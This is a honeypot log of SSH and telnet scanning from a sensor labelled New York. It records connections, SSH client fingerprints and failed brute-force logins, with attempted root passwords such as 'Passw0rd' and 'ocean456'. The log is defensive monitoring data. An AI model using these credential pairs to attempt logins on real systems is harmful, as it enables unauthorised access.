{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:53.816782Z","src_ip":"8.210.75.243","session":"d5dea45b40dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51978,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e7087f66ce3","protocol":"telnet","message":"New connection: 170.64.224.25:51978 (159.203.135.109:23) [session: 3e7087f66ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:03.200536Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":51656,"dst_ip":"10.17.0.5","dst_port":22,"session":"53d6d22adfd0","protocol":"ssh","message":"New connection: 208.109.189.255:51656 (10.17.0.5:22) [session: 53d6d22adfd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:08.286466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:08.295197Z","src_ip":"208.109.189.255","session":"53d6d22adfd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:08.362543Z","src_ip":"208.109.189.255","session":"53d6d22adfd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"L1NK@M@st3r$","message":"login attempt [root/L1NK@M@st3r$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:08.558798Z","src_ip":"208.109.189.255","session":"53d6d22adfd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:09.625475Z","src_ip":"208.109.189.255","session":"53d6d22adfd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57364,"dst_ip":"10.17.0.5","dst_port":22,"session":"190eaf15f955","protocol":"ssh","message":"New connection: 8.210.75.243:57364 (10.17.0.5:22) [session: 190eaf15f955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:10.323015Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":49700,"dst_ip":"10.17.0.5","dst_port":22,"session":"488489f04f8c","protocol":"ssh","message":"New connection: 213.202.230.81:49700 (10.17.0.5:22) [session: 488489f04f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:24.668413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:24.672514Z","src_ip":"213.202.230.81","session":"488489f04f8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:24.767007Z","src_ip":"213.202.230.81","session":"488489f04f8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ocean456","message":"login attempt [root/ocean456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:25.052873Z","src_ip":"213.202.230.81","session":"488489f04f8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:26.149651Z","src_ip":"213.202.230.81","session":"488489f04f8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":55464,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c3eec9cf557","protocol":"telnet","message":"New connection: 94.23.66.112:55464 (10.17.0.5:23) [session: 8c3eec9cf557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:30.760502Z"}
{"eventid":"cowrie.session.closed","duration":28.72341537475586,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:31.923806Z","src_ip":"170.64.224.25","session":"3e7087f66ce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:33.536518Z","src_ip":"8.210.75.243","session":"fd6c1cf0dc8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33108,"dst_ip":"159.203.135.109","dst_port":23,"session":"c981d68cbfb8","protocol":"telnet","message":"New connection: 170.64.224.25:33108 (159.203.135.109:23) [session: c981d68cbfb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:39.022655Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":39482,"dst_ip":"159.203.135.109","dst_port":22,"session":"abde17606daa","protocol":"ssh","message":"New connection: 159.65.58.200:39482 (159.203.135.109:22) [session: abde17606daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:43.593986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:43.795592Z","src_ip":"159.65.58.200","session":"abde17606daa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:43.799041Z","src_ip":"159.65.58.200","session":"abde17606daa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shah","password":"123456","message":"login attempt [shah/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:45.024239Z","src_ip":"159.65.58.200","session":"abde17606daa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:46.498014Z","src_ip":"159.65.58.200","session":"abde17606daa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48932,"dst_ip":"159.203.135.109","dst_port":23,"session":"5869b937184b","protocol":"telnet","message":"New connection: 170.64.224.25:48932 (159.203.135.109:23) [session: 5869b937184b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:33:53.833619Z"}
{"eventid":"cowrie.session.closed","duration":26.031302452087402,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:05.053831Z","src_ip":"170.64.224.25","session":"c981d68cbfb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59582,"dst_ip":"159.203.135.109","dst_port":22,"session":"450580ab4826","protocol":"ssh","message":"New connection: 2.57.122.238:59582 (159.203.135.109:22) [session: 450580ab4826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:05.533629Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:05.629098Z","src_ip":"2.57.122.238","session":"450580ab4826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":55052,"dst_ip":"10.17.0.5","dst_port":22,"session":"e67031312a9c","protocol":"ssh","message":"New connection: 2.57.122.209:55052 (10.17.0.5:22) [session: e67031312a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:06.117659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:06.736913Z","src_ip":"2.57.122.209","session":"e67031312a9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:06.740068Z","src_ip":"2.57.122.209","session":"e67031312a9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:08.531446Z","src_ip":"2.57.122.209","session":"e67031312a9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:10.256136Z","src_ip":"2.57.122.209","session":"e67031312a9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41180,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bb9490273eb","protocol":"ssh","message":"New connection: 8.210.75.243:41180 (10.17.0.5:22) [session: 7bb9490273eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:10.721114Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":53434,"dst_ip":"10.17.0.5","dst_port":22,"session":"06aa8497aaa1","protocol":"ssh","message":"New connection: 143.20.185.207:53434 (10.17.0.5:22) [session: 06aa8497aaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:15.386580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:15.390154Z","src_ip":"143.20.185.207","session":"06aa8497aaa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:15.504705Z","src_ip":"143.20.185.207","session":"06aa8497aaa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA8VCPU16GBAMD","message":"login attempt [root/RASYAXINSA8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:15.896452Z","src_ip":"143.20.185.207","session":"06aa8497aaa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:17.013268Z","src_ip":"143.20.185.207","session":"06aa8497aaa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":44330,"dst_ip":"10.17.0.5","dst_port":22,"session":"716d45850f52","protocol":"ssh","message":"New connection: 162.144.88.94:44330 (10.17.0.5:22) [session: 716d45850f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:18.874903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:18.878393Z","src_ip":"162.144.88.94","session":"716d45850f52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:18.968050Z","src_ip":"162.144.88.94","session":"716d45850f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"St@rkN3t@P@ss!","message":"login attempt [root/St@rkN3t@P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:19.236442Z","src_ip":"162.144.88.94","session":"716d45850f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":40492,"dst_ip":"159.203.135.109","dst_port":22,"session":"72737ad40235","protocol":"ssh","message":"New connection: 103.98.149.87:40492 (159.203.135.109:22) [session: 72737ad40235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:19.874238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:19.879005Z","src_ip":"103.98.149.87","session":"72737ad40235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:20.099652Z","src_ip":"103.98.149.87","session":"72737ad40235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:20.624620Z","src_ip":"162.144.88.94","session":"716d45850f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:21.045475Z","src_ip":"103.98.149.87","session":"72737ad40235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:22.275954Z","src_ip":"103.98.149.87","session":"72737ad40235","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:34:24.032669Z","src_ip":"8.210.75.243","session":"7bb9490273eb","protocol":"ssh"}
